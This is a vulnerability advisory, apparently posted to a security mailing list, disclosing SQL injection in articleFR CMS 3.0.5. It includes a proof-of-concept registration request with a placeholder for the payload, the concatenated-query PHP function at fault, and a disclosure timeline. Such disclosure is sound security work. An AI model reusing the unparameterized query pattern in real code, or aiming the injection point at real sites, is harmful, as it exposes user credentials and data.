SQL injection vulnerability in articleFR CMS 3.0.5

["Tien Tran Dinh" <tien.d.tran () itas vn>]

#Vulnerability title: SQL injection vulnerability in articleFR CMS 3.0.5

#Product: articleFR CMS

#Vendor: http://freereprintables.com

#Affected version: version 3.0.5

#Download link: https://github.com/articlefr/articleFR

#Fixed version: N/A

#Google dork: N/A

#Author: Tran Dinh Tien (tien.d.tran () itas vn) & ITAS Team (www.itas.vn)

 

 

::PROOF OF CONCEPT::

 

+ REQUEST:

POST /articlefr/register/ HTTP/1.1

Host: target.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101
Firefox/34.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://target.org/articlefr/register/

Cookie: _ga=GA1.2.884814947.1419214773;
__unam=bd22dea-14a6fcadd31-42cba495-31; GEAR=local-5422433b500446ead50002d4;
PHPSESSID=8a9r8t1d5g9veogj6er9fvev63; _gat=1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 103

 

username=[SQL INJECTION
HERE]&email=test2%40itas.vn&name=test&password=123123&submit=register

 

 

- Vulnerable file: articleFR/system/profile.functions.php

- Vulnerable parameter: username

- Query: SELECT id, username, name, password, email, website, blog, date,
isactive, activekey, membership FROM users WHERE username ='[Injection
HERE]'

- Vulnerable function: 

function getProfile($_username, $_connection) {

        $_q = "SELECT id, username, name, password, email, website, blog,
date, isactive, activekey, membership FROM users WHERE username = '" .
$_username . "'";

        $_result = single_resulti($_q, $_connection);

 

        $_retval['id'] = $_result['id'];

        $_retval['name'] = $_result['name'];

        $_retval['username'] = $_result['username'];

        $_retval['password'] = $_result['password'];

        $_retval['email'] = $_result['email'];

        $_retval['website'] = $_result['website'];

        $_retval['blog'] = $_result['blog'];

        $_retval['date'] = $_result['date'];

        $_retval['isactive'] = $_result['isactive'];

        $_retval['activekey'] = $_result['activekey'];

        $_retval['membership'] = $_result['membership'];

 

        return $_retval;

} 

 

 

 

 

::DISCLOSURE::

+ 12/09/2014: Contact to vendor - vendor did not reply

+ 12/11/2014: Contact to vendor - vendor did not reply

+ 12/22/2014: Contact to vendor - vendor replied

+ 12/23/2014: Send the detail vulnerability to vendor - vendor did not reply

+ 01/21/2015: Public information

 

::REFERENCE::

-
http://www.itas.vn/news/itas-team-found-out-a-sql-injection-vulnerability-in
-articlefr-cms-72.html

 

 

::DISCLAIMER::

THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
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AND AT THE USER'S OWN RISK.

 

 

Sincerely,

 


Tien Tran Dinh (tien.d.tran () itas vn)

 

 


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